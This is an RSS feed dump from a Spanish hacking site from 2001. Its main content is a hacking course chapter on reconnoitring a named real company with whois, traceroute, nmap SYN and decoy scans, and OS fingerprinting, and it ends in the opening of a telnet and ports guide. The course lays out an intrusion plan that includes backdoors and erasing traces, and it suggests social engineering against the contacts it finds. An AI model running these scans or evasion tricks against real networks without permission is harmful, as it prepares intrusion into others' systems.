Supongamos  que nuestro  objetivo o  una  maquina de  su subred  tiene<br />
activo el puerto 111. Si hacemos</p>
<p>#&gt;rpcinfo -p objetivo.net<br />
y obtenemos:</p>
<p>program   vers     proto     port<br />
100000             2         tcp   111  rpcbind<br />
100002             3         udp   712  rusersd<br />
100011             2         udp   754  rquotad<br />
100005             1         udp   635  mountd<br />
100003             2         udp  2049  nfs<br />
100004             2         tcp   778  ypserv</p>
<p>Esta informacion  (me salto lo  que ahora puede ser  superfluo) indica<br />
que se  estan ejecutando rusersd, nfs  e ypserv que es  el servidor de<br />
NIS.  NIS (Network  Information System)  es un  protocolo de  nivel de<br />
aplicacion   muy    util   para   la    gestion   de   configuraciones<br />
cliente/servidor en  sistemas unix.  Es un sistema  de bases  de datos<br />
distribuidas que  permiten de manera  uniforme el almacenamiento  y la<br />
recuperacion de los recursos de red. Como explica Daemond, en lugar de<br />
gestionar  archivos   como  el  /etc/hosts,   /etc/passwd,  /etc/group<br />
independientemente  en  cada  maquina  de  la red,  esto  permite  que<br />
solamente haya  una base de datos  compartida (mapas) por  el resto de<br />
las maquinas clientes en un servidor central. Esto tiene su aquel para<br />
el hacking de sistemas usando ypcat, pero ya lo veremos.</p>
<p>Existen muchos  mas modos de extraer informacion,  por ejemplo leyendo<br />
el  codigo de las  paginas web,  estableciendo posibles  relaciones de<br />
confianza  (trusted  hosts  con  rlogin),  ingenieria  social,  quinta<br />
columna&#8230; pero creo que no esta mal para comenzar.</p>
<p>Aqui termina la segunda entrega.</p>
<p>En  la  proxima   nos  centraremos  en  las  tecnicas   de  hacking  e<br />
introduccion de sistemas mediante fallos de seguridad, desbordamientos<br />
del bufer de  ciertos programas, ataques por fuerza  bruta, etc. Queda<br />
todavia  un largo  camino y  luego hay  tecnicas  avanzadas (tunneling<br />
firewalls, hijacking, IP spoofing&#8230;)</p>
<p>Tened cuidado ahi fuera <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>LECTER</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Curso práctico de hacking (CPH) I</title>
		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-i/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-i/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:09:33 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=186</guid>
		<description><![CDATA[Curso práctico de exploración en cuatro entregas, explicando todos los pasos desde la obtención de información hasta el acceso, orientado a sistemas UNIX. Parte I.


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso práctico de hacking I<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING</p>
<p>Despues de muchas consideraciones acerca de la utilidad de un<br />
protocursillo sobre &#8220;hacking&#8221; he decidido ofrecerlo a los estudiosos y<br />
serios seguidores de es.comp.hackers. Estos capitulos que entregare<br />
durante las siguientes semanas tienen por objeto servir de ayuda a los<br />
que estan empezando en el mundillo del hacking con sanas intenciones y<br />
no para quedarse en lamers o chicos del script (script kiddies) que lo<br />
que hacen es destrozar con armas hechas por otros y que en el fondo ni<br />
comprenden profundamente.</p>
<p>Ruego encarecidamente a los demas miembros del HACKINDEX, como mi<br />
amigo NBK, Seldon, Lokutus, Isocrono, Crino, etc&#8230; que lo usen como<br />
borrador para mejorarlo (si es que quieren tomarse la molestia) e<br />
incluirlo en alguna pagina web destinada a ello. El texto sera llano y<br />
sin tildes para evitar problemas de lectura y esta escrito con el<br />
editor vi. El cursillo (Curso Practico de Hacking o CPH) pretende ser<br />
por entregas dedicadas a cada uno de los pasos fundamentales en el<br />
hacking de una maquina objetivo remota. Cuando me refiero a hacking no<br />
quiere eso decir que me considere yo un hacker ni guru ni ninguna<br />
gaita de esas, sino que es para aproximarme claramente al tema de la<br />
introduccion en sistemas de comprometida seguridad. Hare referencia<br />
fundamentalmente al mundo UNIX y las herramientas seran tambien<br />
programas de aromas unix, scripts en perl o codigo en C. Yo recomiendo<br />
encarecidamente que os aprovisioneis de un sistema Linux para estos<br />
menesteres, ya que la mayoria de las utilidades de red vienen<br />
incluidas, disponemos de un excelente compilador de C, del lenguaje<br />
perl, Tcl, python&#8230; asi como de la posibilidad de instalar muchos<br />
paquetes escritos para unix/linux como Saint, nmap, Nessus&#8230;y un<br />
largo etcetera de ventajas con respecto a Mac o al Windoze.</p>
<p>El estudiante novato debera leer antes que nada la FAQ del grupo, que<br />
puede encontrarla en la pagina de isocrono<br />
(http://www.navegalia.com/hosting/00084/isocrono) tanto la del 98 y 99<br />
como la ultima del 2000. Y hacer hincapie en el &#8220;decalogo del<br />
hacker&#8221;. Hay que aprender por puro deleite, no para destrozar<br />
sistemas. En fin, he intentado ajustarme a lo que yo pienso que son<br />
los pasos fundamentales en el hacking de sistemas unix:</p>
<p>1. Merodeo y rastreo del objetivo</p>
<p>2. Extraccion de informacion critica del objetivo</p>
<p>3. Introduccion en el sistema</p>
<p>4. Aumento de privilegios (acceso a root, si la introduccion no<br />
conduce directamente a el)</p>
<p>5. Maniobras oscuras (evitando ser notados, instalando sniffers,<br />
dejando puertas traseras y troyanos)</p>
<p>6. Eliminando huellas</p>
<p>Aqui va el primer capitulo.</p>
<p>Saludos a todos,</p>
<p>LECTER</p>
<p>CPH. CAPITULO 1. MERODEO Y RASTREO DEL OBJETIVO</p>
<p>Un explorador no explora a tontas y locas&#8230;sabe bien cual es su<br />
objetivo=2E Por lo tanto, lo que evidentemente hemos de subrayar como<br />
fundamental es la informacion que tenemos del sistema objetivo. Puede<br />
ser que conozcamos su nombre de dominio, su IP, y muchos datos mas,<br />
pero puede ser que para comenzar tengamos algo asi como poco menos que<br />
el nombre de la organizacion o la entidad &#8220;organizacion<br />
objetivo&#8221;. Afortunadamente desde nuestra maquina linux podemos usar la<br />
utilidad whois que permitira hacer consultas en la base de datos<br />
InterNIC, simplemente haciendo</p>
<p>$&gt;whois &#8220;organizacion objetivo&#8221;</p>
<p>y de este modo podremos ver muchos dominios diferentes asociados a tal<br />
entidad. No obstante los servidores de InterNIC truncan los resultados<br />
a 50 items, con lo que puede convenirnos consultar en<br />
http://www.websitez.com, que proporciona todos los registros asociados<br />
con la entidad buscada. Una vez conseguido el listadopodemos consultar<br />
los dominios relacionados (p.ej. objetivo.net) mediante</p>
<p>$&gt;whois objetivo.net</p>
<p>El resultado nos proporciona:<br />
-Domain Name<br />
-Registrar<br />
-Whois server<br />
-Referral ULR<br />
-Name Servers<br />
-Update Date</p>
<p>De este modo conseguimos informacion vinculada el objetivo y los<br />
servidores DNS. Ademas tambien la fecha de actualizacion nos informa<br />
de la precision de la informacion contenida en el objetivo. Si hace<br />
mucho tiempo que no se actualiza, podria estar obsoleta. Pero, una<br />
vez hemos consultado las bases de datos sobre los dominios es menester<br />
hacer lo propio sobre redes para comprobar si hay alguna red real<br />
asociada al dominio objetivo. Para ello podemos usar la base de datos<br />
de ARIN. Para ello haremos</p>
<p>$&gt;whois X.X.X.X@whois.arin.net</p>
<p>donde X.X.X.X es la IP de algun servidor DNS de los ya<br />
vistos. Revisando los datos podemos saber quien es el proveedor<br />
principal de la red central y la clase de red (ya que nos proporciona<br />
el intervalo de IPs) a que nuestro objetivo esta asociado.</p>
<p>Por ejemplo, supongamos que estoy interesado en la empresa transmeta<br />
(donde trabaja Linus Benedict Torvalds) pero no se nada mas.</p>
<p>$&gt;whois &#8220;transmeta&#8221;</p>
<p>[rs.internic.net]</p>
<p>Whois Server Version 1.1</p>
<p>Domain names in the .com, .net, and .org domains can now be registered<br />
with many different competing registrars. Go to<br />
http://www.internic.net for detailed information.</p>
<p>TRANSMETA.ORG<br />
TRANSMETA.NET<br />
TRANSMETA.COM</p>
<p>To single out one record, look it up with &#8220;xxx&#8221;, where xxx is one of<br />
the of the records displayed above. If the records are the same, look<br />
them up with &#8220;=3Dxxx&#8221; to receive a full display for each record.</p>
<p>&gt;&gt;&gt; Last update of whois database: Tue, 1 Aug 00 04:13:33 EDT &lt;&lt;&lt;</p>
<p>The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and<br />
Registrars.</p>
<p>Con esto me pongo a probar. Supongamos que me da por empezar por<br />
transmeta.com</p>
<p>$&gt;whois transmeta.com</p>
<p>[rs.internic.net]</p>
<p>Whois Server Version 1.1</p>
<p>Domain names in the .com, .net, and .org domains can now be registered<br />
with many different competing registrars. Go to<br />
http://www.internic.net for detailed information.</p>
<p>Domain Name: TRANSMETA.COM<br />
Registrar: NETWORK SOLUTIONS, INC.<br />
Whois Server: whois.networksolutions.com<br />
Referral URL: www.networksolutions.com<br />
Name Server: NS1.TRANSMETA.COM<br />
Name Server: NS2.TRANSMETA.COM<br />
Updated Date: 06-jan-2000</p>
<p>&gt;&gt;&gt; Last update of whois database: Tue, 1 Aug 00 04:13:33 EDT &lt;&lt;&lt;</p>
<p>The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and<br />
Registrars.</p>
<p>Bueno&#8230;no se actualiza desde enero de 2000, pero me interesa. Voy a<br />
utilizar la utilidad nslookup para conseguir las IPs de transmeta.com<br />
y los dos DNS servers De este modo consigo</p>
<p>Name: transmeta.com<br />
Addresses: 209.10.41.231, 209.10.41.232 (puede ser una pagina web y su espejo o gemelo)<br />
Name: ns1.transmeta.com<br />
Address: 209.10.41.227<br />
Name: ns2.transmeta.com<br />
Address: 209.10.217.68</p>
<p>Ahora voy a buscar si existe una red global que contenga el objetivo:</p>
<p>$&gt;whois 209.10.41.227@whois.arin.net</p>
<p>[whois.arin.net]<br />
Globix Corporation (NETBLK-GLOBIXBLK3)<br />
295 Lafayette St- 3rd Fl<br />
NY, NY 10012</p>
<p>Netname: GLOBIXBLK3<br />
Netblock: 209.10.0.0 &#8211; 209.11.159.255<br />
Maintainer: PFMC</p>
<p>Coordinator:<br />
Hostmaster, Globix Corporation (GCH2-ARIN) arin-admin@GLOBIX.NET<br />
212.334.8500 (FAX) 212.334.8615</p>
<p>Domain System inverse mapping provided by:</p>
<p>Z1.NS.NYC1.GLOBIX.NET 209.10.66.55<br />
Z1.NS.SJC1.GLOBIX.NET 209.10.34.55<br />
Z1.NS.LHR1.GLOBIX.NET 212.111.32.38</p>
<p>ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE</p>
<p>Record last updated on 10-Jul-2000.<br />
Database last updated on 1-Aug-2000 06:07:11 EDT.</p>
<p>The ARIN Registration Services Host contains ONLY Internet<br />
Network Information: Networks, ASN&#8217;s, and related POC&#8217;s.<br />
Please use the whois server at rs.internic.net for DOMAIN related<br />
Information and whois.nic.mil for NIPRNET Information.</p>
<p>De este modo hemos sabido que la red global es GLOBIXBLK3 de Globix<br />
Corporation y que va desde la IP 209.10.0.0 hasta la<br />
209.11.159.255. Tambien se nos ofrecen datos acerca del Coordinador<br />
que muy bien podrian servir para ciertas tecnicas de ingenieria social<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Ahora no vendria nada mal determinar algo de la topologia rutas de<br />
acceso potencial de la red. Con el programa traceroute podemos<br />
descubrir la secuencia de hosts hasta llegar al objetivo e identificar<br />
dispositivos de control de acceso como routers o cortafuegos.</p>
<p>$&gt; traceroute transmeta.com</p>
<p>1 SEVI-X9.red.retevision.es (62.81.56.41) 138.486 ms 119.613 ms 130.83 ms<br />
2 SEVI-R1.red.retevision.es (62.81.56.28) 139.057 ms SEVI-R3.red.retevision.es (62.81.56.27) 120.209 ms SEVI-R1.red.retevision.es (62.81.56.28) 129.753 ms<br />
3 SEVI-R15.red.retevision.es (62.81.55.229) 120.721 ms 119.941 ms 129.843 ms<br />
4 BARC-R16.red.retevision.es (62.81.125.3) 139.933 ms 139.88 ms 150.833 ms<br />
5 BARC-R0.red.retevision.es (62.81.63.193) 159.007 ms 139.807 ms 149=2E913 ms<br />
6 mi4-retevision-E3-2-es.seabone.net (195.22.192.229) 161.544 ms 159.903 ms 159.887 ms<br />
7 gi-eth-2-mi5.seabone.net (195.22.205.235) 239.99 ms 159.912 ms 159=2E894 ms<br />
8 itmil201-ta-p5-1-0.ebone.net (195.158.241.117) 159.935 ms 149.876 ms 169.88 ms<br />
9 chgen102-tc-p0-1.ebone.net (195.158.241.37) 189.92 ms 169.909 ms 169.884 ms<br />
10 chgen101-tc-p3-0.ebone.net (195.158.237.34) 180.842 ms * 240.1 ms<br />
11 frpar205-tc-p1-0.ebone.net (195.158.228.22) 189.865 ms 178.867 ms 180.005 ms<br />
12 gblon303-tc-p1-0.ebone.net (195.158.228.150) 199.884 ms 199.848 ms 189.897 ms<br />
13 gblon504-tc-p1-0.ebone.net (195.158.232.33) 199.908 ms 199.824 ms 199.944 ms<br />
14 195.158.232.66 (195.158.232.66) 189.855 ms 189.901 ms 199.922 ms<br />
15 pos5-0-0-core2.lhr1.globix.net (209.10.12.197) 189.851 ms * pos2-2-core1.lhr1.globix.net (209.10.12.193) 230.109 ms<br />
16 170.atm0-0-core2.sjc1.globix.net (209.10.11.70) 359.851 ms 146.atm0-0-core2.sjc1.globix.net (209.10.11.46) 369.861 ms 359.918 ms<br />
17 pos5-0-0-aggr1.sjc1.globix.net (209.10.3.30) 359.882 ms 359.847 ms 370.234 ms<br />
18 v2-edge2.sjc1.globix.net (209.10.3.22) 359.627 ms 369.855 ms 359.959 ms<br />
19 www1.transmeta.com (209.10.41.231) 369.915 ms 379.868 ms 369.896 ms</p>
<p>Por fin&#8230;Parece ser que el =FAltimo eslabon es el servidor web<br />
www1.transmeta.com(una de las IP de transmeta.com, la otra sera el<br />
gemelo www2.transmeta.com) y el anterior a el podria ser un router<br />
frontera. Para conocer los registros de Mail eXchange (MX), es decir<br />
las maquinas que gestionan el correo de nuestro objetivo existe la<br />
utilidad host. Al hacer</p>
<p>$&gt;host transmeta.com</p>
<p>transmeta.com has address 209.10.41.232<br />
transmeta.com has address 209.10.41.231<br />
transmeta.com mail is handled (pri=3D40) by neosilicon.transmeta.com</p>
<p>obtengo el nombre del sistema que gestiona el correo. Esto es<br />
fundamental porque generalmente en los entornos comerciales el correo<br />
se administra en el mismo sistema que el cortafuegos. Con un nslookup<br />
descubrimos que la IP de neosilicon.transmeta.com es 209.10.217.68.</p>
<p>Bueno. Hasta ahora disponemos de una lista de direcciones Ip de red,<br />
servidores DNS, de correo y otras yerbas&#8230;pero =BFsabemos que<br />
sistemas estan activos y accesibles via internet?=BFy que puertos<br />
estan a la escucha? Bien, eso vamos a arreglarlo<br />
inmediatamente. Podriamos hacer barridos ping enviando paquetes ICMP<br />
ECHO(8) para recibir ICMP ECHO REPLY (0) si el destino esta<br />
activo. Mejor que ping es la herramienta fping que &#8220;pregunta&#8221; en<br />
paralelo y permite barrer rapidamente varias direcciones IP. Fping se<br />
usa mediante shell scripts con la utilidad gping (que viene incluida<br />
en fping) junto con el intervalo de IP, por ejemplo</p>
<p>$&gt;gping 209 10 0 0 254 (equivale a 209.10.0.0-209.10.0.254)</p>
<p>devolvera la IP junto con &#8220;is alive&#8221; si el host esta activo&#8230;pero<br />
vamos a pasar a la utilidad mas interesante para la exploracion que es<br />
nmap (www.insecure.org/nmap. Nmap no es solamente un explorador de<br />
puertos: permite hacer como fping barridos ping y determinar el<br />
sistema operativo por rastreo de pila. Cuando el trafico ICMP se<br />
encuentra bloqueado la exploracion de puertos es la mejor tecnica para<br />
encontrar hosts activos. Nmap permite la opcion de hacer TCP ping scan<br />
mediante la opcion -PT en el puerto 80 (puerto comun usado por los<br />
routers frontera para los sistemas de su misma zona y sus cortafuegos<br />
principales. Y permite analizar toda la red indicada como intervalo,<br />
con &#8220;mask&#8221; o utilizando bloques CIDR: por ejemplo 209.10.*.* equivale<br />
a 209.10.0-255.0-255 o usando mask, 209.10.0.0/16. Cualquiera de estas<br />
formas vale para usar con nmap. Si usamos la notaci=F3n de mask IP/n<br />
n=3D0 escanea toda internet y n=3D32 el host particular<br />
correspondiente a dicha IP.la mask /24 barrera una serie de IP<br />
correspondiente a x.x.x.0-225 (red de clase C con mascara de subred<br />
255.255.255.0)y /16 lo hara con una serie correspondiente a una clase<br />
B (x.x.0-255.0-255). Para ello hacemos como root</p>
<p>#&gt;nmap -sP -PT80 209.10-11.0-159.0-255</p>
<p>(barremos toda la red global)</p>
<p>y para cada host activo, aparecera &#8220;Host (x.x.x.x) appears to be up&#8221;.</p>
<p>Las opciones y posibilidades de nmap son grandes; conviene leerse el<br />
manual porque aqui solamente trataremos un nivel muy muy<br />
basico. Podemos realizar una exploracion de puertos sigilosa mediante<br />
un barrido semi abierto (TCP SYN scan) realizado como superusuario:</p>
<p>#&gt;nmap -sS transmeta.com</p>
<p>(los resultados pueden almacenarse en un fichero con la opcion -o<br />
fichero)</p>
<p># Nmap (V. nmap) scan initiated 2.53 as: nmap -sS transmeta.com<br />
Interesting ports on www1.transmeta.com (209.10.41.231):<br />
(The 1521 ports scanned but not shown below are in state: closed)<br />
Port State Service<br />
22/tcp open ssh<br />
80/tcp open http</p>
<p># Nmap run completed at Tue Aug 1 23:17:52 2000 &#8212; 1 IP address (1 host up) scanned in 28 seconds</p>
<p>Como puede verse www1.transmeta.com solamente tiene dos puertos<br />
abiertos, el de secure shell y el de servidor web.</p>
<p>Para que la exploracion sea todavia mas silenciosa conviene hacer el<br />
barrido utilizando se=F1uelos con la opcion -D. Supongamos que estamos<br />
interesados especificamente en una direccion x.x.x.x y en los puertos<br />
25, 139 y 443. Podemos hacer</p>
<p>#&gt;nmap -sS x.x.x.x -D se=F1uelo1, se=F1uelo2, ME -p25, 139, 443</p>
<p>De este modo se realiza un barrido SYN en tales puertos con dos host se=F1uelos 1 y 2. Asi el host escaneado pensara que esta siendo barrido ademas por dichos se=F1uelos. Hay que separar cada maquina se=F1uelo por comas y se puede usar &#8220;ME&#8221; como se=F1uelo que representa la posicion usada por nuestra maquina. Si se coloca ME en la sexta posicion o superior podemos estar casi seguros que no nos rastrearan, pero los hosts usados como se=F1uelos (en este ultimo caso del 1 al 5) han de estar activos porque si no podria producirse un SYN flooding en la maquina escaneada ademas de no ser notados tales se=F1uelos. Si usamos la opcion -I (ident) podemos conocer el nombre del usuario propietario del proceso conectado via TCP, pero para ello hay que hacer la conexion completa TCP (-sT) y seriamos vistos.</p>
<p>Una vez que conocemos los puntos a la escucha en nuestro sistema<br />
destino, el siguiente objetivo es identificar su sistema operativo. El<br />
procedimiento mas comun es mediante telnet al puerto 23; p.ej.</p>
<p>$&gt; telnet 163.143.103.12<br />
=2E&#8230;algunos mensajes tipicos&#8230;.<br />
HP-UX hpux B.10.01 A 9000/715 (ttyp2)<br />
login:</p>
<p>El problema es que muchos administradores eliminan el banner del<br />
sistema operativo, ciertos sistemas dan per se poca informacion y<br />
algunos listillos mienten como bellacos en el banner. De todos modos<br />
aunque el banner este off es posible usar otras argucias con telnet o<br />
netcat</p>
<p>$&gt;telnet ftp.netscape.com 21<br />
=2E&#8230;mensajes&#8230;.<br />
220 ftp29 FTP server (Unix System V Release 4.0)<br />
(entonces hacemos)<br />
SYST<br />
(y nos aparece si hay suerte)<br />
215 UNIX Type: L8 Version: SUNOS</p>
<p>En el caso de web servers con la utilidad netcat (la navaja del<br />
ejercito suizo para estas cuestiones) podemos hacer (p.ej., en<br />
hotbot.com)</p>
<p>$&gt;echo &#8216;GET / HTTP/1.0n&#8217; | nc hotbot.com 80 | egrep &#8216;^Server:&#8217;<br />
(para obtener)<br />
Server: Microsoft-IIS/4.0</p>
<p>Pero, por las otras razones, el procedimiento mas preciso es el<br />
llamado rastreo de pila (Stack fingerprinting). A la hora de escribir<br />
las pilas TCP/IP, cada fabricante suele interpretar a su manera la<br />
normativa RFC especifica y mediante la deteccion de estas diferencias<br />
se pueden realizar suposiciones razonables del sistema operativo. Para<br />
que la fiabilidad sea maxima debe al menos existir un puerto<br />
abierto. Hay dos utilidades que permiten realizar esto y son el ya<br />
celebrado programa nmap y queso. Nmap lo realiza con la opcion -O e<br />
incluso si no hay puertos a la escucha realiza una suposicion del<br />
sistema operativo. Queso hace la deteccion basandose en un unico<br />
puerto que por defecto es el 80, pero que puede cambiarse. Por<br />
ejemplo, parece que v2-edge2.sjc1.globix.net (209.10.3.22) como vimos<br />
al hacet traceroute a transmeta.com, es un router. =BFCual sera el<br />
sistema operativo? Para ello basta con hacer #&gt;nmap -O 209.10.3.22 (o<br />
con la opcion -sS para no ser detectados) y en mi caso no se<br />
encontraron puertos abiertos pero la suposicion del sistema operativo<br />
fue en todos los casos un Cisco Router.</p>
<p>=BFOs acordais del gestor de correo de transmeta.com? Se trataba de<br />
neosilicon.transmeta.com (209.10.217.68) y pensabamos que se trataba<br />
de un posible cortafuegosSi hago #&gt;nmap -sS -O 209.10.217.68 tarda un<br />
monton, pero se observa que tiene abiertos los puertos 25 (gestor de<br />
correo, 21 (servidor ftp) y 53 (domain, consulta de DNS). Si hacemos<br />
la consulta a las bravas con #&gt;nmap -O 209.10.217.68 -p25 nos sale un<br />
Linux 2.0.x y si lo hacemos con #&gt;queso 209.10.217.68:25 nos sale lo<br />
mismo.</p>
<p>Cabria decir que neosilicon.transmeta.com se encarga del correo y el<br />
ftp de transmeta.com. Si nos atrevemos a hacer un telnet a esos<br />
puertos nos sale:</p>
<p>$&gt;telnet 209.10.217.68 25<br />
=2E&#8230;mensajes&#8230;.<br />
220 neosilicon.transmeta.com ESMTP Sendmail 8.9.3 &#8230;</p>
<p>$&gt;telnet 209.10.217.68 21<br />
=2E&#8230;mensajes intimidatorios&#8230;.<br />
220 neosilicon transmeta.com FTP Server (Version wu-2.6.1(1)) ready&#8230;</p>
<p>Y basta por esta entrega.</p>
<p>En el capitulo 2 trataremos de obtener informacion critica del sistema<br />
objetivo: transferencia de zona en DNS, busqueda de cortafuegos y<br />
routers con hping, nmap y netcat, exportacion de archivos NFS,<br />
exportacion de listas de usuarios, aplicaciones RPC, NIS y bugs de los<br />
demonios escuchantes en los puertos tipicos smpt, pop, imap&#8230;</p>
<p>Tened cuidado ahi fuera <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<p>LECTER</p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Guia de Telnet</title>
		<link>http://www.hackindex.com/index.php/2001/06/guia-de-telnet/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/guia-de-telnet/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:08:10 +0000</pubDate>
		<dc:creator>Sldn</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Protocologia]]></category>
		<category><![CDATA[anonimato]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[guia de telnet]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[protocolos]]></category>
		<category><![CDATA[puertos]]></category>
		<category><![CDATA[remailers anonimos]]></category>
		<category><![CDATA[seldon]]></category>
		<category><![CDATA[smtp]]></category>
		<category><![CDATA[telnet]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=163</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Guía de telnet Autor: Seldon Tema: Protocología La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Guía de telnet<br />
Autor: Seldon<br />
Tema: Protocología</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<li><strong>1. PREFACIO</strong></li>
<li><strong>2. PEQUEÑA INTRODUCCIÓN A LOS PUERTOS</strong></li>
<li><strong>3. FTP</strong>
<ul>
<li><strong>3.a Teoría</strong></li>
<li><strong>3.b Comandos</strong></li>
<li><strong>3.c Práctica</strong></li>
</ul>
</li>
<li><strong>4. TELNET</strong>
<ul>
<li><strong>4.a Teoría</strong></li>
<li><strong>4.b Práctica</strong></li>
</ul>
</li>
<li><strong>5. ENVÍO DE CORREO ELECTRÓNICO (SMTP)</strong>
<ul>
<li><strong>5.a Práctica</strong></li>
<li><strong>5.b Remailers anónimos</strong></li>
</ul>
</li>
<li><strong>6. OTRAS CUESTIONES DE INTERÉS</strong>
<ul>
<li><strong>6.a. Otros puertos interesantes</strong></li>
</ul>
<p>*****************************************************************</p>
<p>1.-PREFACIO</p>
<p>Esto es una pequeña guía para ayudar a los más nuevos (newbies) a poder seguir sin muchas dificultades las siguientes lecciones del FOR YOU a poder seguir sin muchas dificultades las siguientes lecciones de proyecto HackIndex. No es en ningún caso un manual de hacking, los servicios a los que accederemos aquí son accesibles para todo el mundo, no sólo para hackers <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Si después de leer esto tienes dudas, vuélvetelo a leer. Si sigues teniendo dudas, pregúntalas en la lista, no a mi dirección de e-mail. Todos ganaremos si las dudas son respondidas en la lista, además de servir para corregir o añadir algo al texto.</p>
<p>*****************************************************************</p>
<p>2.- PEQUEÑA INTRODUCCIÓN A LOS PUERTOS</p>
<p>Un puerto lógico es en parte similar a un puerto físico (eso que hay detrás de la caja del ordenador, donde conectamos la impresora, el ratón, el módem&#8230;). Detrás de cada puerto hay un programa, que da un servicio a todo aquel que se conecte a él y tenga permiso para acceder al servicio.</p>
<p>Para que sea accesible, el puerto debe estar &#8216;abierto&#8217;. Además, debe tener un programa detrás de él, porque si no, aunque nos conectemos, no podremos hacer nada con él. Para saber qué puertos están abiertos debemos usar un scaner. Puedes encontrar algunos muy buenos en http://hello.to/nbk/ y http://www.geocities.com/crino1p/ <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> )))</p>
<p>Hay miles de listas muy completas con todos los puertos. Ahí abajo incluyo una para mayor comodidad, con los puertos más comunes y/o más importantes.</p>
<p>En la lista se asume que cada puerto está relacioque cada puerto está relacionado con su número asociado (ftp con el 21, smtp con el 25, etc&#8230;), pero nada impide que podamos intercambiar estos números (poner el ftp en el 1234, p.e.). También recordar que a la hora de conectar con un puerto da igual poner su número que su nombre (&#8216;telnet www.servidor.com 21&#8242; es equivalente a &#8216;telnet www.servidor.com ftp&#8217;)</p>
<p>Y aquí está la lista:</p>
<p>Puerto Servicio Descripción</p>
<p>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</p>
<p>7 echo Lo que teclees se volvera a escribir</p>
<p>9 discard dev/null &#8211; basura</p>
<p>11 systat Informacion sobre los usuarios</p>
